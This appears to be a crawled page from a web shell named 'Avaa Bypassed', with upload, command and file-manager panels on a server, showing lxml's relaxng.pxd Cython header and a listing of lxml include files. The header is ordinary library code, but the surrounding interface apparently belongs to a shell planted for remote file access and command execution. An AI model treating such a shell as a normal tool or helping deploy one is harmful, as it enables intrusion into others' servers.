[ Avaa Bypassed ]




Upload:

Command:

hmhc3928@3.138.34.93: ~ $
from lxml.includes.tree cimport xmlDoc
from lxml.includes.xmlerror cimport xmlStructuredErrorFunc

cdef extern from "libxml/relaxng.h":
    ctypedef struct xmlRelaxNG
    ctypedef struct xmlRelaxNGParserCtxt
    
    ctypedef struct xmlRelaxNGValidCtxt
    
    ctypedef enum xmlRelaxNGValidErr:
        XML_RELAXNG_OK = 0
        XML_RELAXNG_ERR_MEMORY = 1
        XML_RELAXNG_ERR_TYPE = 2
        XML_RELAXNG_ERR_TYPEVAL = 3
        XML_RELAXNG_ERR_DUPID = 4
        XML_RELAXNG_ERR_TYPECMP = 5
        XML_RELAXNG_ERR_NOSTATE = 6
        XML_RELAXNG_ERR_NODEFINE = 7
        XML_RELAXNG_ERR_LISTEXTRA = 8
        XML_RELAXNG_ERR_LISTEMPTY = 9
        XML_RELAXNG_ERR_INTERNODATA = 10
        XML_RELAXNG_ERR_INTERSEQ = 11
        XML_RELAXNG_ERR_INTEREXTRA = 12
        XML_RELAXNG_ERR_ELEMNAME = 13
        XML_RELAXNG_ERR_ATTRNAME = 14
        XML_RELAXNG_ERR_ELEMNONS = 15
        XML_RELAXNG_ERR_ATTRNONS = 16
        XML_RELAXNG_ERR_ELEMWRONGNS = 17
        XML_RELAXNG_ERR_ATTRWRONGNS = 18
        XML_RELAXNG_ERR_ELEMEXTRANS = 19
        XML_RELAXNG_ERR_ATTREXTRANS = 20
        XML_RELAXNG_ERR_ELEMNOTEMPTY = 21
        XML_RELAXNG_ERR_NOELEM = 22
        XML_RELAXNG_ERR_NOTELEM = 23
        XML_RELAXNG_ERR_ATTRVALID = 24
        XML_RELAXNG_ERR_CONTENTVALID = 25
        XML_RELAXNG_ERR_EXTRACONTENT = 26
        XML_RELAXNG_ERR_INVALIDATTR = 27
        XML_RELAXNG_ERR_DATAELEM = 28
        XML_RELAXNG_ERR_VALELEM = 29
        XML_RELAXNG_ERR_LISTELEM = 30
        XML_RELAXNG_ERR_DATATYPE = 31
        XML_RELAXNG_ERR_VALUE = 32
        XML_RELAXNG_ERR_LIST = 33
        XML_RELAXNG_ERR_NOGRAMMAR = 34
        XML_RELAXNG_ERR_EXTRADATA = 35
        XML_RELAXNG_ERR_LACKDATA = 36
        XML_RELAXNG_ERR_INTERNAL = 37
        XML_RELAXNG_ERR_ELEMWRONG = 38
        XML_RELAXNG_ERR_TEXTWRONG = 39
        
    cdef xmlRelaxNGValidCtxt* xmlRelaxNGNewValidCtxt(xmlRelaxNG* schema) nogil
    cdef int xmlRelaxNGValidateDoc(xmlRelaxNGValidCtxt* ctxt, xmlDoc* doc) nogil
    cdef xmlRelaxNG* xmlRelaxNGParse(xmlRelaxNGParserCtxt* ctxt) nogil
    cdef xmlRelaxNGParserCtxt* xmlRelaxNGNewParserCtxt(char* URL) nogil
    cdef xmlRelaxNGParserCtxt* xmlRelaxNGNewDocParserCtxt(xmlDoc* doc) nogil
    cdef void xmlRelaxNGFree(xmlRelaxNG* schema) nogil
    cdef void xmlRelaxNGFreeParserCtxt(xmlRelaxNGParserCtxt* ctxt) nogil
    cdef void xmlRelaxNGFreeValidCtxt(xmlRelaxNGValidCtxt* ctxt) nogil

    cdef void xmlRelaxNGSetValidStructuredErrors(
        xmlRelaxNGValidCtxt* ctxt, xmlStructuredErrorFunc serror, void *ctx) nogil
    cdef void xmlRelaxNGSetParserStructuredErrors(
        xmlRelaxNGParserCtxt* ctxt, xmlStructuredErrorFunc serror, void *ctx) nogil

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
extlibs Folder 0755
libexslt Folder 0755
libxml Folder 0755
libxslt Folder 0755
__init__.pxd File 0 B 0644
__init__.py File 0 B 0644
c14n.pxd File 1.1 KB 0644
config.pxd File 96 B 0644
dtdvalid.pxd File 671 B 0644
etree_defs.h File 15 KB 0644
etreepublic.pxd File 9.88 KB 0644
htmlparser.pxd File 2.8 KB 0644
lxml-version.h File 71 B 0644
relaxng.pxd File 2.61 KB 0644
schematron.pxd File 1.6 KB 0644
tree.pxd File 19.62 KB 0644
uri.pxd File 139 B 0644
xinclude.pxd File 852 B 0644
xmlerror.pxd File 56.64 KB 0644
xmlparser.pxd File 10.61 KB 0644
xmlschema.pxd File 1.66 KB 0644
xpath.pxd File 5.66 KB 0644
xslt.pxd File 8.15 KB 0644